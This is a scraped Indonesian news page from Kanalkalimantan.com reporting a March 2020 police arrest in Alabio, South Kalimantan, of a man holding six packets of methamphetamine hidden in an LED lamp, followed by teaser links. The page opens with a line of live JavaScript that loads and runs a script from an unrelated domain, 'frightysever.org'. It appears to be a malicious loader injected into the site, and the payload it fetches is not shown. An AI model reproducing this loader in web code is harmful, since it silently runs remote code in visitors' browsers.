(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
{"subsource":"done_button","uid":"15BBD608-1669-44B1-8BA5-FC0121588C50_1583710002047","source":"other","origin":"gallery","source_sid":"15BBD608-1669-44B1-8BA5-FC0121588C50_1583710002066"}
KANALKALIMANTAN.COM, AMUNTAI – SA alias Asul Naga (28) warga Desa Tapus Dalam Kecamantan Sungai Pandan (Alabio) Kabupaten Hulu Sungai Utara (HSU), tak berkutik setelah anggota Polsek Alabio bersama Sat Narkoba Polres HSU menemukan 6 paket sabu, saat menggeledah rumahnya
pada (6/3/ 2020) kemarin.
Ditangkapnya tersangka Asul Naga disertai penggeledahan tersebut, adalah hasil dari pengembangan kasus oleh anggota Polsek Alabio usai beberapa hari sebelumnya juga meringkus dua pelaku yang diduga sebagai kurir sabu diwilayah tersebut.
Kapolres HSU AKBP Pipit Subiyanto SIK MH melalui Kapolsek Alabio Iptu Agus Sumitro, kepada kanalkalimantan.com, Minggu (8/3/2020) mengakui penangkapan terhadap tersangka SA alias Asul Naga, merupakan pengembangan dan informasi dari dua tersangka yang berhasil diringkus sebelumnya di kawasan Alabio.
Alhasil diperoleh barang bukti yaitu 6 Paket Plastik Piper Clip yang berisikan Narkotika jenis Sabu dengan berat kotor keseluruhan sebanyak 1.70 gram dan berat bersih keseluruhan 0.80 gram.1 buah lampu Led Premium quality warna putih, 1 buah kepala Charging warna putih dan 1 buah Handphone.
“Tersangka ini ada keterkaitan dengan tersangka Nuri kemarin.” Ujar Kapolsek Alabio ini saat dikonfirmasi Kanalkalimantan.com.
Dari informasinya, penangkapan tersangka Asul ini sendiri bermula saat dilakukan penangkapan dan melakukan penggeledahan rumahnya dengan disaksikan oleh warga setempat.
Hasilnya ditemukan barang bukti sabu didalam kamar tepatnya di atas lemari rias berupa sebuah lampu Led Premium quality warna putih yang didalam nya berisikan 6 paket plastik piper clip yg berisikan narkotika jenis sabu-sabu dengan berat keseluruhan 1.70 gram.
Atas temuan tersebut tersangka bersama barang bukti digelandang ke Polres HSU guna proses lebih lanjut dan bakal disangkakan Pasal 114 ayat ( 1 ) atau 112 ayat ( 1 ) nomor 35 Tahun 2009 terkait Tentang Narkotika.(kanalkalimantan.com/dew)
KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More
KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More
KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More
KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More
This website uses cookies.